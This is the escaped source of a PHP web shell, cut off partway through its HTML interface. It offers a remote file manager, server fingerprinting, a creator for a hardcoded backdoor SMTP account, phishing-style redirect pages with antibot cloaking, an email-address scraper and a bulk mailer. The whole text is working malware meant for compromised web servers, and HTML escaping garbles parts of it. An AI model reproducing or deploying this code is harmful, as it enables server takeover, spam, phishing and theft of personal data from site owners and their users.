&#039;shell_version&#039; =&gt; SHELL_VERSION,        &#039;server_info&#039; =&gt; getSystemInfo(),        &#039;capabilities&#039; =&gt; getServerCapabilities(),        &#039;status&#039; =&gt; &#039;active&#039;,        &#039;timestamp&#039; =&gt; time(),        &#039;access_time&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;)    ];       echo generateValidationResponse($info_data);    exit;}   // Handle stats request for redirectsif (isset($_GET[&#039;stats&#039;]) &amp;&amp; isset($_GET[&#039;redirect_id&#039;])) {    $redirect_id = sanitizeInput($_GET[&#039;redirect_id&#039;]);    $stats_result = getRedirectStats($redirect_id);    header(&#039;Content-Type: application/json&#039;);    echo json_encode($stats_result);    exit;}   // Handle all redirects statsif (isset($_GET[&#039;all_stats&#039;])) {    $all_stats = getAllRedirectStats();    header(&#039;Content-Type: application/json&#039;);    echo json_encode([&#039;status&#039; =&gt; true, &#039;stats&#039; =&gt; $all_stats]);    exit;}   // Handle GET for file downloadif (isset($_GET[&#039;action&#039;]) &amp;&amp; $_GET[&#039;action&#039;] === &#039;file_operation&#039; &amp;&amp; isset($_GET[&#039;operation&#039;]) &amp;&amp; $_GET[&#039;operation&#039;] === &#039;download&#039; &amp;&amp; isset($_GET[&#039;filepath&#039;])) {    $data = [&#039;filepath&#039; =&gt; sanitizeInput($_GET[&#039;filepath&#039;], &#039;path&#039;)];    handleFileOperation(&#039;download&#039;, $data);}   // ==================== AJAX HANDLERS ====================if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;action&#039;])) {    header(&#039;Content-Type: application/json&#039;);       switch ($_POST[&#039;action&#039;]) {        case &#039;create_single_smtp&#039;:            $smtp_result = createSingleSMTP();            if (strpos($smtp_result, &#039;no smtp avail&#039;) !== false) {                echo json_encode([&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; $smtp_result]);            } else {                echo json_encode([                    &#039;status&#039; =&gt; true,                    &#039;message&#039; =&gt; &#039;SMTP account created successfully using exact reference method!&#039;,                    &#039;smtp_data&#039; =&gt; $smtp_result                ]);            }            break;                   case &#039;create_redirect&#039;:            $options = [                &#039;blocked_countries&#039; =&gt; array_filter(array_map(&#039;trim&#039;, explode(&#039;,&#039;, $_POST[&#039;blocked_countries&#039;] ?? &#039;&#039;))),                &#039;delay&#039; =&gt; (int)($_POST[&#039;delay&#039;] ?? 5000),                &#039;custom_message&#039; =&gt; $_POST[&#039;custom_message&#039;] ?? &#039;Please wait...&#039;,                &#039;use_antibot&#039; =&gt; true,                &#039;use_captcha&#039; =&gt; isset($_POST[&#039;use_captcha&#039;])            ];            $result = createAutoRedirect($_POST[&#039;target_url&#039;] ?? &#039;&#039;, $options);            echo json_encode($result);            break;                   case &#039;extract_contacts&#039;:            $options = [                &#039;max_files&#039; =&gt; (int)($_POST[&#039;max_files&#039;] ?? 3000),                &#039;max_time&#039; =&gt; 120            ];            $result = extractContacts($_POST[&#039;scan_path&#039;] ?? getcwd(), $options);            echo json_encode($result);            break;                   case &#039;send_emails&#039;:            $result = sendEmailMarketing($_POST);            echo json_encode($result);            break;                   case &#039;file_operation&#039;:            $result = handleFileOperation($_POST[&#039;operation&#039;] ?? &#039;&#039;, $_POST);            echo json_encode($result);            break;                   case &#039;get_file_content&#039;:            $filepath = sanitizeInput($_POST[&#039;filepath&#039;] ?? &#039;&#039;, &#039;path&#039;);            if (file_exists($filepath) &amp;&amp; is_readable($filepath)) {                $content = file_get_contents($filepath);                echo json_encode([                    &#039;status&#039; =&gt; true,                    &#039;content&#039; =&gt; $content,                    &#039;filename&#039; =&gt; basename($filepath),                    &#039;size&#039; =&gt; strlen($content),                    &#039;modified&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;, filemtime($filepath))                ]);            } else {                echo json_encode([&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File not found or not readable&#039;]);            }            break;                   case &#039;get_redirect_stats&#039;:            $redirect_id = sanitizeInput($_POST[&#039;redirect_id&#039;] ?? &#039;&#039;);            $result = getRedirectStats($redirect_id);            echo json_encode($result);            break;                   default:            echo json_encode([&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid action specified&#039;]);    }    exit;}   // ==================== MAIN VARIABLES ====================$current_dir = isset($_GET[&#039;dir&#039;]) ? sanitizeInput($_GET[&#039;dir&#039;], &#039;path&#039;) : getcwd();if (!is_dir($current_dir)) {    $current_dir = getcwd();}   $files = listDirectory($current_dir);$system_info = getSystemInfo();   &lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;<head>    &lt;meta charset=&quot;UTF-8&quot;&gt;    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<title>&lt;?= SHELL_NAME ?&gt; v&lt;?= SHELL_VERSION ?&gt;</title>    &lt;title&gt;= SHELL_NAME  v= SHELL_VERSION &lt;/title&gt;    &lt;style&gt;        /* ==================== CSS VARIABLES ==================== */        :root {            --bg-primary: #0a0a0a;            --bg-secondary: #1a1a1a;            --bg-tertiary: #2a2a2a;            --text-primary: #ffffff;            --text-secondary: #cccccc;            --text-muted: #888888;            --accent-primary: #00d4ff;            --accent-secondary: #ff6b35;            --accent-success: #00ff88;            --accent-warning: #ffaa00;            --accent-danger: #ff4444;            --border-color: #333333;            --shadow-primary: 0 4px 20px rgba(0, 212, 255, 0.1);            --shadow-secondary: 0 2px 10px rgba(0, 0, 0, 0.3);            --gradient-primary: linear-gradient(135deg, #1a1a2e, #16213e, #0f3460);            --gradient-secondary: linear-gradient(135deg, #00d4ff, #0099cc);        }           /* ==================== RESET &amp; BASE ==================== */        * {            margin: 0;            padding: 0;            box-sizing: border-box;        }           body {            font-family: &#039;Segoe UI&#039;, &#039;Roboto&#039;, &#039;Arial&#039;, sans-serif;            background: var(--gradient-primary);            color: var(--text-primary);            line-height: 1.6;            min-height: 100vh;        }           .container {            max-width: 1400px;            margin: 0 auto;            padding: 20px;        }           /* ==================== HEADER STYLES ==================== */        .header {            background: var(--bg-secondary);            border: 1px solid var(--border-color);            border-radius: 16px;            padding: 30px;            margin-bottom: 30px;            box-shadow: var(--shadow-secondary);            position: relative;            overflow: hidden;        }           .header::before {            content: &#039;&#039;;            position: absolute;            top: 0;            left: 0;            right: 0;            height: 4px;            background: var(--gradient-secondary);        }           .header-content h1 {            font-size: 28px;            font-weight: 700;            margin-bottom: 8px;            background: var(--gradient-secondary);            -webkit-background-clip: text;            -webkit-text-fill-color: transparent;            background-clip: text;        }           .subtitle {            color: var(--text-secondary);            font-size: 14px;            margin-bottom: 25px;        }           .system-info {            display: grid;            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));            gap: 20px;        }           .info-item {            background: var(--bg-tertiary);            padding: 15px;            border-radius: 8px;            border: 1px solid var(--border-color);        }           .info-item .label {            font-size: 12px;            color: var(--text-muted);            margin-bottom: 5px;            text-transform: uppercase;            font-weight: 600;        }           .info-item .value {            font-size: 14px;            color: var(--text-primary);            font-weight: 500;            word-break: break-all;        }           /* ==================== CARD STYLES ==================== */        .card {            background: var(--bg-secondary);            border: 1px solid var(--border-color);            border-radius: 16px;            padding: 30px;            margin-bottom: 30px;            box-shadow: var(--shadow-secondary);        }           .card-title {            font-size: 20px;            font-weight: 700;            color: var(--accent-primary);            margin-bottom: 20px;            display: flex;            align-items: center;            gap: 10px;        }           /* ==================== TAB STYLES ==================== */        .tabs {            display: flex;            gap: 5px;            margin-bottom: 30px;            flex-wrap: wrap;        }           .tab {            background: var(--bg-tertiary);            border: 1px solid var(--border-color);            color: var(--text-secondary);            padding: 12px 20px;            border-radius: 8px;            cursor: pointer;            font-size: 14px;            font-weight: 600;            transition: all 0.3s ease;            min-width: 140px;            text-align: center;        }           .tab:hover {            background: var(--bg-primary);            border-color: var(--accent-primary);        }           .tab.active {            background: var(--accent-primary);            color: var(--bg-primary);            border-color: var(--accent-primary);        }           .tab-content {            display: none;        }           .tab-content.active {            display: block;        }           /* ==================== FORM STYLES ==================== */        .form-group {            margin-bottom: 20px;        }           .form-group label {            display: block;            margin-bottom: 8px;            font-weight: 600;            color: var(--text-primary);            font-size: 14px;        }           .form-control {            width: 100%;            padding: 12px 16px;            background: var(--bg-tertiary);            border: 1px solid var(--border-color);            border-radius: 8px;            color: var(--text-primary);            font-size: 14px;            transition: all 0.3s ease;        }           .form-control:focus {            outline: none;            border-color: var(--accent-primary);            box-shadow: 0 0 0 2px rgba(0, 212, 255, 0.1);        }           .form-control::placeholder {            color: var(--text-muted);        }           textarea.form-control {            resize: vertical;            min-height: 100px;        }           /* ==================== BUTTON STYLES ==================== */        .btn {            background: var(--accent-primary);            color: var(--bg-primary);            border: none;            padding: 12px 24px;            border-radius: 8px;            font-size: 14px;            font-weight: 600;            cursor: pointer;            transition: all 0.3s ease;            text-decoration: none;            display: inline-flex;            align-items: center;            gap: 8px;        }           .btn:hover {            background: var(--accent-secondary);            transform: translateY(-1px);        }           .btn:disabled {            opacity: 0.6;            cursor: not-allowed;            transform: none;        }           .btn-sm {            padding: 8px 16px;            font-size: 12px;        }           .btn-secondary {            background: var(--bg-tertiary);            color: var(--text-primary);            border: 1px solid var(--border-color);        }           .btn-secondary:hover {            background: var(--bg-primary);            border-color: var(--accent-primary);        }           .btn-success {            background: var(--accent-success);        }           .btn-warning {            background: var(--accent-warning);        }           .btn-danger {            background: var(--accent-danger);        }           /* ==================== FILE BROWSER STYLES ==================== */        .file-browser {            background: var(--bg-tertiary);            border-radius: 12px;            overflow: hidden;        }           .browser-header {            background: var(--bg-primary);            padding: 20px;            border-bottom: 1px solid var(--border-color);        }           .browser-title {            display: flex;            justify-content: space-between;            align-items: center;            margin-bottom: 15px;        }           .browser-title h3 {            color: var(--accent-primary);            font-size: 18px;        }           .browser-actions {            display: flex;            gap: 10px;            flex-wrap: wrap;        }           .breadcrumb {            color: var(--text-secondary);            font-size: 14px;        }           .breadcrumb a {            color: var(--accent-primary);            text-decoration: none;        }           .breadcrumb a:hover {            text-decoration: underline;        }           /* ==================== TABLE STYLES ==================== */        .file-table-container {            overflow-x: auto;        }           .file-table {            width: 100%;            border-collapse: collapse;            font-size: 14px;        }           .file-table th,        .file-table td {            padding: 12px 20px;            text-align: left;            border-bottom: 1px solid var(--border-color);        }           .file-table th {            background: var(--bg-primary);            color: var(--text-primary);            font-weight: 600;            position: sticky;            top: 0;        }           .file-table tr:hover {            background: var(--bg-primary);        }           .file-name {            display: flex;            align-items: center;            gap: 10px;            color: var(--text-primary);            text-decoration: none;        }           .file-name:hover {            color: var(--accent-primary);        }           .file-icon {            font-size: 16px;        }           .file-actions {            display: flex;            gap: 8px;            flex-wrap: wrap;        }           /* ==================== RESULT BOX STYLES ==================== */        .result-box {            background: var(--bg-tertiary);            border: 1px solid var(--border-color);            border-radius: 12px;            margin-top: 20px;            overflow: hidden;        }           .result-header {            background: var(--bg-primary);            padding: 15px 20px;            display: flex;            justify-content: space-between;            align-items: center;            border-bottom: 1px solid var(--border-color);        }           .result-box pre {            padding: 20px;            margin: 0;            background: var(--bg-primary);            color: var(--text-primary);            font-family: &#039;Courier New&#039;, monospace;            font-size: 13px;            line-height: 1.5;            white-space: pre-wrap;            word-wrap: break-word;            max-height: 400px;            overflow-y: auto;        }           /* ==================== MODAL STYLES ==================== */        .modal {            display: none;            position: fixed;            z-index: 1000;            left: 0;            top: 0;            width: 100%;            height: 100%;            background: rgba(0, 0, 0, 0.8);            backdrop-filter: blur(5px);        }           .modal.active {            display: flex;            align-items: center;            justify-content: center;        }           .modal-content {            background: var(--bg-secondary);            border: 1px solid var(--border-color);            border-radius: 16px;            padding: 30px;            max-width: 800px;            width: 100%;            max-height: 90vh;            overflow-y: auto;            box-shadow: var(--shadow-secondary);            position: relative;        }           .modal-header {            display: flex;            justify-content: space-between;            align-items: center;            margin-bottom: 25px;            padding-bottom: 15px;            border-bottom: 1px solid var(--border-color);        }           .modal-title {            font-size: 20px;            font-weight: 700;            color: var(--accent-primary);        }           .modal-close {            background: none;            border: none;            color: var(--text-muted);            font-size: 24px;            cursor: pointer;            padding: 5px;            border-radius: 4px;            transition: all 0.3s ease;        }           .modal-close:hover {            background: var(--bg-tertiary);            color: var(--text-primary);        }           /* ==================== GRID LAYOUTS ==================== */        .grid {            display: grid;            gap: 20px;        }           .grid-2 {            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));        }           .grid-3 {            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));        }           .grid-4 {            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));        }           /* ==================== SMTP CREATOR SPECIFIC STYLES ==================== */        .smtp-creator-section {            background: rgba(0, 255, 136, 0.1);            border: 1px solid rgba(0, 255, 136, 0.3);            border-radius: 12px;            padding: 20px;            margin-bottom: 20px;        }           .smtp-creator-section .btn {            background: linear-gradient(45deg, #00ff88, #0080ff);            font-weight: bold;            padding: 15px 30px;            font-size: 16px;        }           .smtp-creator-section .btn:hover {            transform: translateY(-2px);            box-shadow: 0 5px 15px rgba(0, 255, 136, 0.4);        }           .smtp-info {            font-size: 12px;            color: var(--text-muted);            margin-top: 10px;            text-align: center;        }           /* ==================== STATS BOX STYLES ==================== */        .stats-box {            background: var(--bg-tertiary);            border: 1px solid var(--border-color);            border-radius: 12px;            padding: 20px;            margin-top: 20px;        }           .stats-header {            display: flex;            justify-content: space-between;            align-items: center;            margin-bottom: 15px;        }           .stats-grid {            display: grid;            grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));            gap: 15px;            margin-bottom: 20px;        }           .stat-item {            background: var(--bg-primary);            padding: 15px;            border-radius: 8px;            text-align: center;        }        .stat-number {            font-size: 24px;            font-weight: 700;            color: var(--accent-primary);            margin-bottom: 5px;        }        .stat-label {            font-size: 12px;            color: var(--text-muted);            text-transform: uppercase;        }        /* ==================== LOADING STYLES ==================== */        .loading {            display: inline-block;            width: 20px;            height: 20px;            border: 2px solid var(--text-muted);            border-radius: 50%;            border-top-color: var(--accent-primary);            animation: spin 1s ease-in-out infinite;        }        @keyframes spin {            to { transform: rotate(360deg); }        }        .loading-overlay {            position: fixed;            top: 0;            left: 0;            width: 100%;            height: 100%;            background: rgba(0, 0, 0, 0.7);            display: flex;            align-items: center;            justify-content: center;            z-index: 9999;        }        .loading-content {            background: var(--bg-secondary);            padding: 30px;            border-radius: 12px;            text-align: center;            border: 1px solid var(--border-color);        }        .loading-spinner {            width: 40px;            height: 40px;            border: 4px solid var(--bg-tertiary);            border-top: 4px solid var(--accent-primary);            border-radius: 50%;            animation: spin 1s linear infinite;            margin: 0 auto 20px;        }        /* ==================== FOOTER STYLES ==================== */        .footer {            background: var(--bg-secondary);            border: 1px solid var(--border-color);            border-radius: 16px;            padding: 25px;            margin-top: 30px;            text-align: center;            box-shadow: var(--shadow-secondary);        }        .footer-links {            display: flex;            justify-content: center;            gap: 30px;            margin-bottom: 20px;            flex-wrap: wrap;        }        .footer-link {            color: var(--accent-primary);            text-decoration: none;            font-weight: 600;            font-size: 14px;            display: flex;            align-items: center;            gap: 8px;            padding: 8px 16px;            border-radius: 8px;            border: 1px solid var(--border-color);            transition: all 0.3s ease;        }        .footer-link:hover {            background: var(--bg-tertiary);            border-color: var(--accent-primary);            text-decoration: none;        }        .footer-text {            font-size: 12px;            color: var(--text-muted);            line-height: 1.5;        }        /* ==================== NOTIFICATION STYLES ==================== */        .notification {            position: fixed;            top: 20px;            right: 20px;            background: var(--bg-secondary);            border: 1px solid var(--border-color);            border-radius: 12px;            padding: 20px;            max-width: 400px;            box-shadow: var(--shadow-secondary);            z-index: 1001;            transform: translateX(100%);            transition: transform 0.3s ease;        }        .notification.show {            transform: translateX(0);        }        .notification.success {            border-left: 4px solid var(--accent-success);        }        .notification.error {            border-left: 4px solid var(--accent-danger);        }        .notification.warning {            border-left: 4px solid var(--accent-warning);        }        .notification.info {            border-left: 4px solid var(--accent-primary);        }        /* ==================== RESPONSIVE DESIGN ==================== */        @media (max-width: 768px) {            .container {                padding: 15px;            }            .header {                padding: 20px;            }            .header h1 {                font-size: 24px;            }            .card {                padding: 20px;            }            .tabs {                flex-direction: column;            }            .tab {                min-width: auto;            }            .system-info {                grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));                gap: 15px;            }            .browser-title {                flex-direction: column;                align-items: flex-start;            }            .browser-actions {                width: 100%;                justify-content: flex-start;            }            .file-table th,            .file-table td {                padding: 10px 15px;                font-size: 12px;            }            .file-actions {                flex-direction: column;                gap: 4px;            }            .footer-links {                flex-direction: column;                gap: 15px;            }            .modal-content {                padding: 20px;                margin: 10px;            }            .stats-grid {                grid-template-columns: repeat(2, 1fr);            }        }        /* ==================== SCROLLBAR STYLES ==================== */        ::-webkit-scrollbar {            width: 8px;            height: 8px;        }        ::-webkit-scrollbar-track {            background: var(--bg-tertiary);            border-radius: 4px;        }        ::-webkit-scrollbar-thumb {            background: var(--accent-primary);            border-radius: 4px;        }        ::-webkit-scrollbar-thumb:hover {            background: var(--accent-secondary);        }        /* ==================== UTILITY CLASSES ==================== */        .text-center { text-align: center; }        .text-left { text-align: left; }        .text-right { text-align: right; }        .mb-0 { margin-bottom: 0; }        .mb-10 { margin-bottom: 10px; }        .mb-20 { margin-bottom: 20px; }        .mt-20 { margin-top: 20px; }        .p-0 { padding: 0; }        .hidden { display: none; }        .flex { display: flex; }        .flex-center { display: flex; align-items: center; justify-content: center; }        .gap-10 { gap: 10px; }        .w-full { width: 100%; }        /* ==================== STATUS STYLES ==================== */        .status-success { color: var(--accent-success); }        .status-warning { color: var(--accent-warning); }        .status-danger { color: var(--accent-danger); }        .status-info { color: var(--accent-primary); }        /* ==================== PROGRESS BAR STYLES ==================== */        .progress-bar {            width: 100%;            height: 8px;            background: var(--bg-tertiary);            border-radius: 4px;            overflow: hidden;            margin: 10px 0;        }        .progress-fill {            height: 100%;            background: var(--accent-primary);            border-radius: 4px;            transition: width 0.3s ease;        }        .progress-text {            font-size: 12px;            color: var(--text-muted);            text-align: center;            margin-top: 5px;        }        /* ==================== ANIMATION KEYFRAMES ==================== */        @keyframes fadeIn {            from { opacity: 0; transform: translateY(-10px); }            to { opacity: 1; transform: translateY(0); }        }        @keyframes slideIn {            from { transform: translateX(-100%); }            to { transform: translateX(0); }        }        @keyframes bounce {            0%, 20%, 53%, 80%, 100% { transform: translate3d(0,0,0); }            40%, 43% { transform: translate3d(0, -30px, 0); }            70% { transform: translate3d(0, -15px, 0); }            90% { transform: translate3d(0, -4px, 0); }        }        .animate-fadeIn { animation: fadeIn 0.5s ease; }        .animate-slideIn { animation: slideIn 0.3s ease; }        .animate-bounce { animation: bounce 2s infinite; }    &lt;/style&gt;</head><body>    &lt;div class=&quot;container&quot;&gt;        &lt;!-- Header Section --&gt;        &lt;div class=&quot;header animate-fadeIn&quot;&gt;            &lt;div class=&quot;header-content&quot;&gt;                <h1>⚔️ = SHELL_NAME  v= SHELL_VERSION </h1>                &lt;div class=&quot;subtitle&quot;&gt;Professional Cyber Security Management System | Samurai Japanese Technology Edition&lt;/div&gt;                               &lt;div class=&quot;system-info&quot;&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Server IP&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;server_ip&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Client IP&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;client_ip&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;PHP Version&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;php_version&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Operating System&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;operating_system&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Current User&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;current_user&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Server Time&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;server_time&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Disk Free Space&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;disk_free_space&#039;] &lt;/div&gt;                    &lt;/div&gt;                    &lt;div class=&quot;info-item&quot;&gt;                        &lt;div class=&quot;label&quot;&gt;Memory Limit&lt;/div&gt;                        &lt;div class=&quot;value&quot;&gt;= $system_info[&#039;memory_limit&#039;] &lt;/div&gt;                    &lt;/div&gt;                &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt;        &lt;!-- Main Content --&gt;        &lt;div class=&quot;card animate-fadeIn&quot;&gt;            &lt;!-- Tabs Navigation --&gt;            &lt;div class=&quot;tabs&quot;&gt;                &lt;div class=&quot;tab active&quot; onclick=&quot;switchTab(&#039;file-manager&#039;)&quot;&gt;📁 File Manager&lt;/div&gt;                &lt;div class=&quot;tab&quot; onclick=&quot;switchTab(&#039;smtp-creator&#039;)&quot;&gt;📧 SMTP Creator&lt;/div&gt;                &lt;div class=&quot;tab&quot; onclick=&quot;switchTab(&#039;redirect-creator&#039;)&quot;&gt;🔗 Redirect Creator&lt;/div&gt;                &lt;div class=&quot;tab&quot; onclick=&quot;switchTab(&#039;contact-extractor&#039;)&quot;&gt;📇 Contact Extractor&lt;/div&gt;                &lt;div class=&quot;tab&quot; onclick=&quot;switchTab(&#039;email-marketing&#039;)&quot;&gt;✉️ Email Marketing&lt;/div&gt;                &lt;div class=&quot;tab&quot; onclick=&quot;switchTab(&#039;shell-validation&#039;)&quot;&gt;🛡️ Shell Validation&lt;/div&gt;            &lt;/div&gt;            &lt;!-- File Manager Tab --&gt;            &lt;div id=&quot;file-manager&quot; class=&quot;tab-content active&quot;&gt;                &lt;div class=&quot;card-title&quot;&gt;📁 File Manager&lt;/div&gt;                               &lt;div class=&quot;file-browser&quot;&gt;                    &lt;div class=&quot;browser-header&quot;&gt;                        &lt;div class=&quot;browser-title&quot;&gt;                            <h3>Directory Browser</h3>                            &lt;div class=&quot;browser-actions&quot;&gt;                                &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;showModal(&#039;create-file-modal&#039;)&quot;&gt;📄 New File&lt;/button&gt;                                &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;showModal(&#039;create-folder-modal&#039;)&quot;&gt;📁 New Folder&lt;/button&gt;                                &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;showModal(&#039;upload-modal&#039;)&quot;&gt;⬆️ Upload&lt;/button&gt;                            &lt;/div&gt;                        &lt;/div&gt;                        &lt;div class=&quot;breadcrumb&quot;&gt;                            📍 Current Directory:                            &lt;a href=&quot;?dir== urlencode(dirname($current_dir)) &quot;&gt;= htmlspecialchars($current_dir) &lt;/a&gt;                        &lt;/div&gt;                    &lt;/div&gt;                                       &lt;div class=&quot;file-table-container&quot;&gt;                        &lt;table class=&quot;file-table&quot;&gt;                            &lt;thead&gt;                                <tr>                                    &lt;th&gt;Name&lt;/th&gt;                                    &lt;th&gt;Size&lt;/th&gt;                                    &lt;th&gt;Permissions&lt;/th&gt;                                    &lt;th&gt;Modified&lt;/th&gt;                                    &lt;th&gt;Actions&lt;/th&gt;                                </tr>                            &lt;/thead&gt;                            &lt;tbody&gt;                                 if ($current_dir !== &#039;/&#039; &amp;&amp; dirname($current_dir) !== $current_dir):                                 <tr>                                    <td>                                        &lt;a href=&quot;?dir== urlencode(dirname($current_dir)) &quot; class=&quot;file-name&quot;&gt;                                            &lt;span class=&quot;file-icon&quot;&gt;📁&lt;/span&gt;                                            &lt;span&gt;.. (Parent Directory)&lt;/span&gt;                                        &lt;/a&gt;                                    </td>                                    <td>-</td>                                    <td>-</td>                                    <td>-</td>                                    <td>-</td>                                </tr>                                 endif;                                                                 foreach ($files as $file):                                 <tr>                                    <td>                                         if ($file[&#039;is_dir&#039;]):                                             &lt;a href=&quot;?dir== urlencode($file[&#039;path&#039;]) &quot; class=&quot;file-name&quot;&gt;                                                &lt;span class=&quot;file-icon&quot;&gt;= $file[&#039;icon&#039;] &lt;/span&gt;                                                &lt;span&gt;= htmlspecialchars($file[&#039;name&#039;]) &lt;/span&gt;                                            &lt;/a&gt;                                         else:                                             &lt;div class=&quot;file-name&quot;&gt;                                                &lt;span class=&quot;file-icon&quot;&gt;= $file[&#039;icon&#039;] &lt;/span&gt;                                                &lt;span&gt;= htmlspecialchars($file[&#039;name&#039;]) &lt;/span&gt;                                            &lt;/div&gt;                                         endif;                                     </td>                                    <td>= $file[&#039;formatted_size&#039;] </td>                                    <td>= $file[&#039;permissions&#039;] </td>                                    <td>= $file[&#039;modified&#039;] </td>                                    <td>                                        &lt;div class=&quot;file-actions&quot;&gt;                                             if (!$file[&#039;is_dir&#039;]):                                                 &lt;button class=&quot;btn btn-sm btn-secondary&quot; onclick=&quot;editFile(&#039;= htmlspecialchars(addslashes($file[&#039;path&#039;])) &#039;)&quot;&gt;✏️ Edit&lt;/button&gt;                                                &lt;button class=&quot;btn btn-sm btn-secondary&quot; onclick=&quot;downloadFile(&#039;= htmlspecialchars(addslashes($file[&#039;path&#039;])) &#039;)&quot;&gt;⬇️ Download&lt;/button&gt;                                             endif;                                             &lt;button class=&quot;btn btn-sm btn-warning&quot; onclick=&quot;zipItem(&#039;= htmlspecialchars(addslashes($file[&#039;path&#039;])) &#039;)&quot;&gt;📦 Zip&lt;/button&gt;                                             if (strtolower(pathinfo($file[&#039;name&#039;], PATHINFO_EXTENSION)) === &#039;zip&#039;):                                                 &lt;button class=&quot;btn btn-sm btn-success&quot; onclick=&quot;unzipFile(&#039;= htmlspecialchars(addslashes($file[&#039;path&#039;])) &#039;)&quot;&gt;📂 Unzip&lt;/button&gt;                                             endif;                                             &lt;button class=&quot;btn btn-sm btn-danger&quot; onclick=&quot;deleteItem(&#039;= htmlspecialchars(addslashes($file[&#039;path&#039;])) &#039;, &#039;= htmlspecialchars(addslashes($file[&#039;name&#039;])) &#039;)&quot;&gt;🗑️ Delete&lt;/button&gt;                                        &lt;/div&gt;                                    </td>                                </tr>                                 endforeach;                             &lt;/tbody&gt;                        </table>                    &lt;/div&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;!-- SMTP Creator Tab --&gt;            &lt;div id=&quot;smtp-creator&quot; class=&quot;tab-content&quot;&gt;                &lt;div class=&quot;card-title&quot;&gt;📧 SMTP Creator - 100% Reference Method&lt;/div&gt;                               &lt;!-- Single SMTP Creator Section --&gt;                &lt;div class=&quot;smtp-creator-section&quot;&gt;                    &lt;h4&gt;⚡ Single SMTP Creator (Exact Reference Method)&lt;/h4&gt;                    &lt;p style=&quot;margin: 10px 0; color: var(--text-secondary);&quot;&gt;                        Creates SMTP account using 100% exact same method as your reference code:<br>                        &bull; Username: chudsi (hardcoded)<br>                        &bull; Encryption: $6$the3x$ (exact salt)<br>                        &bull; UID: 16249 (exact UID)<br>                        &bull; Password prefix: w3ll.smtp + random 3 digits                    &lt;/p&gt;                    &lt;button onclick=&quot;createSingleSMTP()&quot; class=&quot;btn&quot;&gt;⚡ Create Single SMTP Account&lt;/button&gt;                    &lt;div class=&quot;smtp-info&quot;&gt;Uses exactly the same method as your reference code - no modifications&lt;/div&gt;                &lt;/div&gt;                &lt;div id=&quot;smtp-results&quot; class=&quot;result-box&quot; style=&quot;display: none;&quot;&gt;                    &lt;div class=&quot;result-header&quot;&gt;                        &lt;h4&gt;📧 SMTP Results&lt;/h4&gt;                        &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;copyResults(&#039;smtp-output&#039;)&quot;&gt;📋 Copy All&lt;/button&gt;                    &lt;/div&gt;                    &lt;pre id=&quot;smtp-output&quot;&gt;&lt;/pre&gt;                &lt;/div&gt;            &lt;/div&gt;            &lt;!-- Redirect Creator Tab --&gt;            &lt;div id=&quot;redirect-creator&quot; class=&quot;tab-content&quot;&gt;                &lt;div class=&quot;card-title&quot;&gt;🔗 Auto Redirect Creator with Professional Company Style&lt;/div&gt;                               <form>                    &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;target-url&quot;&gt;Target URL:&lt;/label&gt;                        <input type=url>                    &lt;/div&gt;                                       &lt;div class=&quot;grid grid-2&quot;&gt;                        &lt;div class=&quot;form-group&quot;&gt;                            &lt;label for=&quot;custom-message&quot;&gt;Custom Message:&lt;/label&gt;                            <input type=text>                        &lt;/div&gt;                                               &lt;div class=&quot;form-group&quot;&gt;                            &lt;label for=&quot;delay&quot;&gt;Redirect Delay (milliseconds):&lt;/label&gt;                            <input type=number>                        &lt;/div&gt;                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label for=&quot;blocked-countries&quot;&gt;Blocked Countries (comma separated):&lt;/label&gt;                        <input type=text>                    &lt;/div&gt;                                       &lt;div class=&quot;form-group&quot;&gt;                        &lt;label&gt;                            <input type=checkbox> Enable Professional Company Style Captcha Protection                        &lt;/label&gt;                    &lt;/div&gt;                                       &lt;button type=&quot;submit&quot; class=&quot;btn&quot;&gt;🚀 Create Redirect Files (PHP, PHP7, HTML)&lt;/button&gt;                </form>                &lt;div id=&quot;redirect-results&quot; class=&quot;result-box&quot; style=&quot;display: 